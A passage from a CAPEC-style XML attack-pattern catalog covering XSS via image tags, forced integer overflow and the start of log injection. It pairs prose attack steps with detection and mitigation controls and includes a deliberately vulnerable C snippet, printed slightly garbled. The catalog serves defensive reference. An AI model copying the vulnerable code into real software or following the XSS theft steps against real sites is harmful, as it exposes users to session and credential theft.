												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of the
												created requests.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The output of pages includes image tags
												specified by users.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Output to the browser is not encoded to
												remove executable scripting syntax.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's script string is
												being reflected verbatim at some point in the web
												site (if not on the same page). Note that
												sometimes, the payload might be well encoded in
												the page, but wouldn't be encoded at all in some
												other section of the same web page (title,
												etc.)</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>All context-sensitive
												characters are consistently re-encoded before
												being sent to the web browser. For example, in a
												HTML tag element, the payload may not be able to
												evade the quotes in order to inject another
												attribute.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>Some sensitive characters are
												consistently encoded, but others are not.
												Depending on which type of non-script element the
												payload is injected in, it may be possible to
												evade the encodings.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers (not only GET, but all potential inputs
												like COOKIES, POST, HEADER), application servers,
												and other HTTP infrastructure (e.g., load
												balancers). Alert on standard XSS probes. The
												majority of attackers use well known strings to
												check for vulnerabilities. Use the same
												vulnerability catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Steal session IDs, credentials, page
											content, etc.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he can choose to steal user's
												credentials in order to reuse or to analyze them
												later on.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and sends document information to the
												attacker.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute
												appropriately.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the user's
												cookies or other session
												identifiers.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker gets the content
												of the page the user is
												viewing.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The attacker causes the user's
												browser to visit a page with malicious
												content.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Forceful browsing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>When the attacker targets the current application
												or another one (through CSRF vulnerabilities), the
												user will then be the one who perform the attacks
												without being aware of it. These attacks are mostly
												targeting application logic flaws, but it can also
												be used to create a widespread attack against a
												particular website on the user's current network
												(Internet or not).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and performs actions on the same web
												site</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute request to
												other web sites (especially the web applications
												that have CSRF vulnerabilities).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker indirectly
												controls the user's browser and makes it
												performing actions exploiting
												CSRF.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker manipulates the
												browser through the steps that he designed in his
												attack. The user, identified on a website, is now
												performing actions he is not aware
												of.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Content spoofing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>By manipulating the content, the attacker targets
												the information that the user would like to get from
												the website.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and exposes attacker-modified invalid
												information to the user on the current web
												page.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The user sees a page containing
												wrong information</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Application permitting the inclusion or use of IMG tags</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation>
					<Text>Techniques for discovery of XSS as well as tools and means to exploit them
						are fairly widely available and understood</Text>
				</Explanation>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An online discussion forum allows its members to post HTML-enabled
							messages, which can also include image tags.</Text>
						<Text>A malicious user can embed JavaScript in the IMG tags in his messages
							that get executed within the victim's browser whenever the victim reads
							these messages.</Text>
						<Text>The malicious user can leverage Cross Site Scripting in image tags to
							steal sensitive information, such as usernames, passwords or cookies,
							and impersonate other users on the forum.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Besides the ability to figure out possibilities of injection, the
							attacker requires moderate scripting skills to successfully leverage
							cross site scripting in image tags</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>None</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>In addition to the traditional input fields, all other user controllable
						inputs, such as image tags within messages or the likes, must also be
						subjected to input validation. Such validation should ensure that content
						that can be potentially interpreted as script by the browser is
						appropriately filtered.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>All output displayed to clients must be properly escaped. Escaping ensures
						that the browser interprets special scripting characters literally and not
						as script to be executed.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input to the application. Any input that can legitimately
					accept and render HTML image tag can be used as an injection vector.</Text>
			</Injection_Vector>
			<Payload>
				<Text>HTML Image tag pointing to script or location of attacker's choice.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Victim's web browser.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Execution of the script in the victim's browser, contained in the image
						tag or from the location pointed to within the image tag.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>82<!--Improper Neutralization of Script in Attributes of IMG Tags in a Web Page--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>71<!--Apple '.DS_Store'--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2002-1808</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Cross-site scripting (XSS) vulnerability in Meunity Community System
							1.1 allows remote attackers to inject arbitrary web script or HTML via
							JavaScript in an IMG tag when creating a topic.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-6919</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Firefox Sage extension 1.3.8 and earlier allows remote attackers to
							execute arbitrary JavaScript in the local context via an RSS feed with
							an img tag containing the script followed by an extra trailing "&gt;",
							which Sage modifies to close the img element before the malicious
							script.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense In Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Unvalidated Input as Part of a Directive to any Internal
						Component</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Treat the Entire Inherited Process Context as Unvalidated Input</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B. Chhaya</Submitter>
						<Submission_Date>2007-03-15</Submission_Date>
						<Submission_Comment>First Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="92" Name="Forced Integer Overflow" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack forces an integer variable to go out of range. The integer
						variable is often used as an offset such as size of memory allocation or
						similarly. The attacker would typically control the value of such variable
						and try to get it out of range. For instance the integer in question is
						incremented past the maximum possible value, it may wrap to become a very
						small, or negative number, therefore providing a very incorrect value which
						can lead to unexpected behavior. At worst the attacker can execute arbitrary
						code.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The first step is exploratory meaning the attacker
												looks for an integer variable that he can
												control.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker finds an integer variable that he can
												write into or manipulate and try to get the value of
												the integer out of the possible range. The integer
												variable is forced to have a value out of range
												which set its final value to an unexpected
												value.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The target host acts on the data and unexpected
												behaviour may happen.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker can manipulate the value of an integer variable utilized by
						the target host.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target host does not do proper range checkingon the variable before
						utilizing it.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>When the integer variable is incremented or decremented to an out of range
						value, it gets a very different value (e.g. very small or negative
						number)</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Integer overflow in the ProcAuWriteElement function in
							server/dia/audispatch.c in Network Audio System (NAS) before 1.8a SVN
							237 allows remote attackers to cause a denial of service (crash) and
							possibly execute arbitrary code via a large max_samples value.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2007-1544</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The following code illustrates an integer overflow. The declaration of
							total integer as "unsigned short int" assumes that the length of the
							first and second arguments fits in such an integer. From "Secure Coding
							in C and C++" by Robert C. Seacord. Page 152, Figure 5-1</Text>
						<Block>
							<Code>include &lt;stdlib.h&gt;</Code>
							<Code>include &lt;string.h&gt;</Code>
							<Code>include &lt;stdio.h&gt;</Code>
							<Code/>
							<Code>int main (int argc, char *const *argv)</Code>
							<Code>{</Code>
							<Block>
								<Code>if (argc !=3){</Code>
								<Block>
									<Code>printf("Usage: prog_name &lt;string1&gt;
										&lt;string2&gt;\n");</Code>
									<Code>exit(-1);</Code>
								</Block>
								<Code>}</Code>
								<Code>unsigned short int total;</Code>
								<Code>total = strlen(argv[1])+strlen(argv[2])+1;</Code>
								<Code>char * buff = (char *)malloc(total);</Code>
								<Code>strcpy(buff, argv[1]);</Code>
								<Code>strcpy(buff, argv[2]);</Code>
							</Block>
							<Code>}</Code>
							<Code>//Source : SAMATE.NIST.GOV :
								http://samate.nist.gov/SRD/view_testcase.php?login=Guest&amp;tID=1511</Code>
						</Block>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can simply overflow an integer by inserting an out of
							range value.</Text>
						<Text>High : Exploiting a buffer overflow by injecting malicious code into
							the stack of a software system or even the heap can require a higher
							skill level.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Vulnerability testing tool can be used to probe for integer overflow
							(e.g. fuzzer).</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use a language or compiler that performs automatic bounds checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Carefully review the service's implementation before making it available
						to user. For instance you can use manual or automated code review to uncover
						vulnerabilities such as integer overflow.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use an abstraction library to abstract away risky APIs. Not a complete
						solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Always do bound checking before consuming user input data.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text/>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The user supplied data.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The integer overrun by the attacker.</Text>
			</Payload>
			<Activation_Zone>
				<Text>When the function use the integer as offset, the offset may be out of the
					expected range which may lead to unexpected behavior such as issues of
					availability.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The most common are issues of availability. In some situation, an integer
						oveflow can turn out to be an exploitable buffer overflow, then the attacker
						may be able to run arbitrary code on the target host.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>190<!--Integer Overflow or Wraparound--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>128<!--Wrap-around Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>122<!--Heap-based Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>196<!--Unsigned to Signed Conversion Error--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>128<!--Integer Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>J. Viega and G. McGraw. Building Secure Software. Addison-Wesley,
							2002.</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Integer overflow (wrap or wraparound)</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Integer overflow, Secure Software -
							http://www.owasp.org/index.php/Integer_overflow</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>SAMATE : samate.nist.gov</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2007-03-25</Submission_Date>
						<Submission_Comment>Identified priority for pattern
							creation</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-03-25</Modification_Date>
						<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="93" Name="Log Injection-Tampering-Forging"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets the log files of the target host. The attacker
						injects, manipulates or forges malicious log entries in the log file,
						allowing him to mislead a log audit, cover traces of attack, or perform
						other malicious actions. The target host is not properly controlling log
						access. As a result tainted data is resulting in the log files leading to a
						failure in accoutability, non-repudiation and incident forensics
						capability.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine Application's Log File
											Format</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The first step is exploratory meaning the attacker
